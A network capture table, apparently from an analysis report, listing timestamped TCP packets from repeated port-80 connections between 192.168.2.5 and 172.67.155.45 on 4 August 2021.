Aug 4, 2021 13:56:23.422754049 CEST	80	49768	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:23.422841072 CEST	49768	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:23.422907114 CEST	49768	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:23.440109968 CEST	80	49768	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:23.630758047 CEST	49769	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:23.647952080 CEST	80	49769	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:23.648076057 CEST	49769	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:23.660211086 CEST	49769	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:23.677170992 CEST	80	49769	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:23.677618980 CEST	49769	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:23.695877075 CEST	80	49769	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:23.918704033 CEST	80	49769	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:23.918878078 CEST	80	49769	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:23.918970108 CEST	49769	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:23.919014931 CEST	49769	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:23.937755108 CEST	80	49769	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:24.148237944 CEST	49770	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:24.166342974 CEST	80	49770	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:24.166563988 CEST	49770	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:24.178185940 CEST	49770	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:24.197724104 CEST	80	49770	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:24.198090076 CEST	49770	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:24.217156887 CEST	80	49770	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:24.437087059 CEST	80	49770	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:24.437241077 CEST	80	49770	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:24.437360048 CEST	49770	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:24.437433958 CEST	49770	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:24.454257965 CEST	80	49770	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:24.660598993 CEST	49771	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:24.679227114 CEST	80	49771	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:24.679497957 CEST	49771	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:24.689471006 CEST	49771	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:24.708405018 CEST	80	49771	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:24.708507061 CEST	49771	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:24.725300074 CEST	80	49771	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:25.014347076 CEST	80	49771	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:25.014364958 CEST	80	49771	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:25.014566898 CEST	49771	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:25.014642000 CEST	49771	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:25.031415939 CEST	80	49771	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:25.208250999 CEST	49772	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:25.225711107 CEST	80	49772	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:25.226205111 CEST	49772	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:25.242125034 CEST	49772	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:25.258933067 CEST	80	49772	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:25.259227037 CEST	49772	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:25.276134014 CEST	80	49772	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:25.520663023 CEST	80	49772	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:25.520684958 CEST	80	49772	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:25.521514893 CEST	49772	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:25.525079012 CEST	49772	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:25.542282104 CEST	80	49772	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:25.728838921 CEST	49773	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:25.746304035 CEST	80	49773	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:25.746464014 CEST	49773	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:25.754838943 CEST	49773	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:25.771876097 CEST	80	49773	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:25.772025108 CEST	49773	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:25.790148020 CEST	80	49773	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:26.013890028 CEST	80	49773	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:26.013942003 CEST	80	49773	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:26.014014959 CEST	49773	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:26.014048100 CEST	49773	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:26.030997038 CEST	80	49773	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:26.233627081 CEST	49774	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:26.250571966 CEST	80	49774	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:26.250716925 CEST	49774	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:26.261594057 CEST	49774	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:26.278472900 CEST	80	49774	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:26.278593063 CEST	49774	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:26.295521975 CEST	80	49774	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:26.512943029 CEST	80	49774	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:26.513078928 CEST	80	49774	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:26.513088942 CEST	49774	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:26.513129950 CEST	49774	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:26.531754017 CEST	80	49774	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:26.716337919 CEST	49775	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:26.734214067 CEST	80	49775	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:26.734365940 CEST	49775	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:26.757570028 CEST	49775	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:26.776217937 CEST	80	49775	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:26.776340008 CEST	49775	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:26.793073893 CEST	80	49775	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:27.035095930 CEST	80	49775	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:27.036559105 CEST	49775	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:27.037563086 CEST	80	49775	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:27.037734032 CEST	49775	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:27.055058002 CEST	80	49775	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:27.240984917 CEST	49776	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:27.257966995 CEST	80	49776	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:27.262217045 CEST	49776	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:27.272517920 CEST	49776	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:27.289191961 CEST	80	49776	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:27.289757967 CEST	49776	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:27.306468010 CEST	80	49776	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:27.560842991 CEST	80	49776	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:27.560882092 CEST	80	49776	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:27.561032057 CEST	49776	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:27.561081886 CEST	49776	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:27.577826977 CEST	80	49776	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:27.780368090 CEST	49777	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:27.797143936 CEST	80	49777	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:27.797275066 CEST	49777	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:27.806679010 CEST	49777	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:27.823331118 CEST	80	49777	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:27.823874950 CEST	49777	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:27.840580940 CEST	80	49777	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:28.063779116 CEST	80	49777	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:28.063910007 CEST	80	49777	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:28.064152956 CEST	49777	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:28.064718008 CEST	49777	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:28.080749035 CEST	80	49777	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:28.281459093 CEST	49778	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:28.300384045 CEST	80	49778	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:28.300494909 CEST	49778	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:28.303980112 CEST	49778	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:28.322849989 CEST	80	49778	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:28.322971106 CEST	49778	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:28.342015028 CEST	80	49778	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:28.588433981 CEST	80	49778	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:28.588790894 CEST	80	49778	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:28.589015007 CEST	49778	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:28.589092016 CEST	49778	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:28.607430935 CEST	80	49778	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:28.814966917 CEST	49779	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:28.833818913 CEST	80	49779	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:28.833923101 CEST	49779	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:28.838258982 CEST	49779	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:28.856832981 CEST	80	49779	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:28.856903076 CEST	49779	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:28.876116991 CEST	80	49779	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:29.110639095 CEST	80	49779	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:29.110671043 CEST	80	49779	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:29.110776901 CEST	49779	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:29.110852003 CEST	49779	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:29.127700090 CEST	80	49779	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:29.326975107 CEST	49780	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:29.343775988 CEST	80	49780	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:29.343878031 CEST	49780	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:29.346415997 CEST	49780	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:29.363332987 CEST	80	49780	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:29.363399982 CEST	49780	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:29.380027056 CEST	80	49780	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:29.607760906 CEST	80	49780	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:29.607891083 CEST	49780	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:29.607918978 CEST	80	49780	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:29.607988119 CEST	49780	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:29.625087976 CEST	80	49780	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:29.818217039 CEST	49781	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:29.834928989 CEST	80	49781	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:29.835057974 CEST	49781	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:29.841646910 CEST	49781	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:29.860390902 CEST	80	49781	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:29.860452890 CEST	49781	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:29.879333973 CEST	80	49781	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:30.094325066 CEST	80	49781	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:30.094508886 CEST	80	49781	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:30.094660997 CEST	49781	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:30.094762087 CEST	49781	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:30.111318111 CEST	80	49781	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:30.303168058 CEST	49782	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:30.323080063 CEST	80	49782	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:30.323214054 CEST	49782	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:30.326191902 CEST	49782	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:30.344021082 CEST	80	49782	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:30.344091892 CEST	49782	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:30.362148046 CEST	80	49782	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:30.604006052 CEST	80	49782	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:30.604147911 CEST	80	49782	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:30.604285002 CEST	49782	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:30.604331017 CEST	49782	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:30.622255087 CEST	80	49782	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:30.821119070 CEST	49783	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:30.839493990 CEST	80	49783	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:30.839632034 CEST	49783	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:30.845405102 CEST	49783	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:30.862040043 CEST	80	49783	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:30.862215996 CEST	49783	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:30.878985882 CEST	80	49783	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:31.102107048 CEST	80	49783	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:31.102262974 CEST	49783	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:31.102345943 CEST	80	49783	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:31.102412939 CEST	49783	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:31.118987083 CEST	80	49783	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:31.323626995 CEST	49784	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:31.343358040 CEST	80	49784	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:31.343535900 CEST	49784	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:31.351155996 CEST	49784	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:31.368016958 CEST	80	49784	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:31.368207932 CEST	49784	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:31.385324001 CEST	80	49784	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:31.609783888 CEST	80	49784	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:31.609880924 CEST	80	49784	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:31.609965086 CEST	49784	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:31.611991882 CEST	49784	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:31.626734972 CEST	80	49784	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:31.815217018 CEST	49785	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:31.831959963 CEST	80	49785	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:31.832096100 CEST	49785	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:31.839354992 CEST	49785	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:31.856069088 CEST	80	49785	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:31.856201887 CEST	49785	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:31.873022079 CEST	80	49785	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:32.098568916 CEST	80	49785	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:32.098696947 CEST	49785	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:32.098896027 CEST	80	49785	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:32.098954916 CEST	49785	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:32.115331888 CEST	80	49785	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:32.323108912 CEST	49786	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:32.342689037 CEST	80	49786	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:32.342792988 CEST	49786	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:32.346106052 CEST	49786	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:32.364905119 CEST	80	49786	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:32.364979982 CEST	49786	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:32.382060051 CEST	80	49786	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:32.610996962 CEST	80	49786	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:32.611303091 CEST	49786	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:32.611377001 CEST	80	49786	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:32.611438036 CEST	49786	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:32.628103018 CEST	80	49786	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:32.850146055 CEST	49787	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:32.866981983 CEST	80	49787	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:32.867089033 CEST	49787	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:32.870713949 CEST	49787	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:32.888200998 CEST	80	49787	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:32.888336897 CEST	49787	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:32.907488108 CEST	80	49787	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:33.155989885 CEST	80	49787	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:33.156101942 CEST	80	49787	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:33.156248093 CEST	49787	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:33.156267881 CEST	49787	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:33.174571037 CEST	80	49787	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:33.375891924 CEST	49788	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:33.392729998 CEST	80	49788	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:33.392966032 CEST	49788	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:33.401242971 CEST	49788	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:33.417926073 CEST	80	49788	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:33.418066978 CEST	49788	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:33.434614897 CEST	80	49788	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:33.677248955 CEST	80	49788	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:33.677458048 CEST	80	49788	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:33.677586079 CEST	49788	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:33.694171906 CEST	80	49788	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:33.893979073 CEST	49789	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:33.910854101 CEST	80	49789	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:33.910981894 CEST	49789	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:33.918286085 CEST	49789	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:33.935026884 CEST	80	49789	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:33.935544014 CEST	49789	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:33.952315092 CEST	80	49789	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:34.168966055 CEST	80	49789	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:34.169079065 CEST	80	49789	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:34.169228077 CEST	49789	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:34.169276953 CEST	49789	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:34.186295033 CEST	80	49789	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:34.405719042 CEST	49790	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:34.422655106 CEST	80	49790	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:34.422873974 CEST	49790	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:34.425625086 CEST	49790	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:34.442338943 CEST	80	49790	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:34.442441940 CEST	49790	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:34.459311962 CEST	80	49790	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:34.695437908 CEST	80	49790	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:34.695566893 CEST	80	49790	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:34.695708036 CEST	49790	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:34.695738077 CEST	49790	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:34.712831020 CEST	80	49790	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:34.933604002 CEST	49791	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:34.951088905 CEST	80	49791	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:34.951260090 CEST	49791	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:34.954734087 CEST	49791	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:34.971838951 CEST	80	49791	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:34.971971035 CEST	49791	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:34.990467072 CEST	80	49791	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:35.234993935 CEST	80	49791	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:35.235029936 CEST	80	49791	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:35.235289097 CEST	49791	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:35.235346079 CEST	49791	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:35.252335072 CEST	80	49791	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:35.430797100 CEST	49792	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:35.447801113 CEST	80	49792	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:35.448337078 CEST	49792	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:35.450942039 CEST	49792	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:35.467737913 CEST	80	49792	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:35.467813015 CEST	49792	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:35.484762907 CEST	80	49792	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:35.709728003 CEST	80	49792	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:35.709757090 CEST	80	49792	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:35.709856987 CEST	49792	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:35.709882021 CEST	49792	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:35.727891922 CEST	80	49792	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:35.935096979 CEST	49793	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:35.951999903 CEST	80	49793	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:35.952086926 CEST	49793	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:35.954932928 CEST	49793	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:35.971729994 CEST	80	49793	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:35.971832037 CEST	49793	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:35.988652945 CEST	80	49793	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:36.204238892 CEST	80	49793	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:36.204384089 CEST	80	49793	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:36.204415083 CEST	49793	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:36.206357002 CEST	49793	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:36.221204996 CEST	80	49793	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:36.454334021 CEST	49794	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:36.472328901 CEST	80	49794	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:36.472459078 CEST	49794	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:36.475713015 CEST	49794	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:36.494596004 CEST	80	49794	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:36.496643066 CEST	49794	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:36.515846014 CEST	80	49794	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:36.777314901 CEST	80	49794	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:36.777411938 CEST	80	49794	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:36.781483889 CEST	49794	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:36.785233021 CEST	49794	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:36.800353050 CEST	80	49794	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:36.804630041 CEST	80	49794	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:36.805310011 CEST	49794	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:37.016036987 CEST	49795	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:40.026225090 CEST	49795	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:40.046288967 CEST	80	49795	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:40.046586990 CEST	49795	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:40.055160046 CEST	49795	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:40.072443008 CEST	80	49795	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:40.072721958 CEST	49795	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:40.089709044 CEST	80	49795	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:40.315257072 CEST	80	49795	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:40.315476894 CEST	49795	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:40.315511942 CEST	80	49795	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:40.315628052 CEST	49795	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:40.332494974 CEST	80	49795	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:40.564589024 CEST	49796	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:40.582808018 CEST	80	49796	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:40.583271980 CEST	49796	80	192.168.2.5	172.67.155.45
